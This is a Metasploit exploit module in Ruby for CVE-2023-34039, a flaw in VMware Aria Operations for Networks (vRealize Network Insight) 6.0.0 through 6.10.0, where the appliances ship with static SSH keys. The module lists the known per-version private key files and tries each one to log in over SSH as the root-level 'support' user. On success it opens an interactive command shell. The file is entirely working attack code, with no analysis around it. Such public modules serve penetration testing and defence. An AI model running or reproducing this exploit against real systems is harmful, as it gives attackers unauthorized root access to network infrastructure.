##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::SSH
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure',
'Description' => %q{
VMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.0
do not randomize the SSH keys on virtual machine initialization. Since the key is easily
retrievable, an attacker can use it to gain unauthorized remote access as the "support" (root) user.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [
[ '6.0_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_platform') } ],
[ '6.0_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_proxy') } ],
[ '6.1_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_platform') } ],
[ '6.1_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_proxy') } ],
[ '6.2_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_collector') } ],
[ '6.2_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_platform') } ],
[ '6.3_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_collector') } ],
[ '6.3_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_platform') } ],
[ '6.4_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_collector') } ],
[ '6.4_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_platform') } ],
[ '6.5_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_collector') } ],
[ '6.5_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_platform') } ],
[ '6.6_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_collector') } ],
[ '6.6_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_platform') } ],
[ '6.7_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_collector') } ],
[ '6.7_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_platform') } ],
[ '6.8_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_collector') } ],
[ '6.8_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_platform') } ],
[ '6.9_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_collector') } ],
[ '6.9_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_platform') } ],
[ '6.10_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_collector') } ],
[ '6.10_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_platform') } ],
[
'All', {} # built later
],
],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Author' => [
'h00die', # MSF module
'SinSinology', # PoC
'Harsh Jaiswal (@rootxharsh)', # Discovery
'Rahul Maini (@iamnoooob)' # Discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-34039'],
['URL', 'https://github.com/sinsinology/CVE-2023-34039'],
['URL', 'https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0018.html'],
],
'DisclosureDate' => '2023-08-29',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 22,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
}
)
)
register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptBool.new('STOP_ON_SUCCESS', [ false, 'Stop on successful login', true]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time in seconds to negotiate a SSH session', 30])
]
)
end
# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user, key_data)
opt_hash = ssh_client_defaults.merge({
auth_methods: ['publickey'],
port: rport,
key_data: [ key_data ]
})
opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError
print_error "#{rhost}:#{rport} SSH - Unable to connect"
return nil
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end
if ssh_socket
# Create a new session from the socket, then close it.
conn = Net::SSH::CommandStream.new(ssh_socket)
ssh_socket = nil
return conn
end
nil
end
def exploit
if target.name == 'All'
keys = targets.filter_map { |t| t.opts['key'] if t.name != 'All' }
else
keys = [target.opts['key']]
end
keys.each do |key|
vprint_status("Attempting key: #{key}")
key_data = File.read(key, mode: 'rb')
conn = do_login('support', key_data)
next unless conn
print_good "#{rhost}:#{rport} - Successful login via support@#{rhost}:#{rport} and ssh key: #{key}"
handler(conn.lsock)
break if datastore['STOP_ON_SUCCESS']
end
end
end
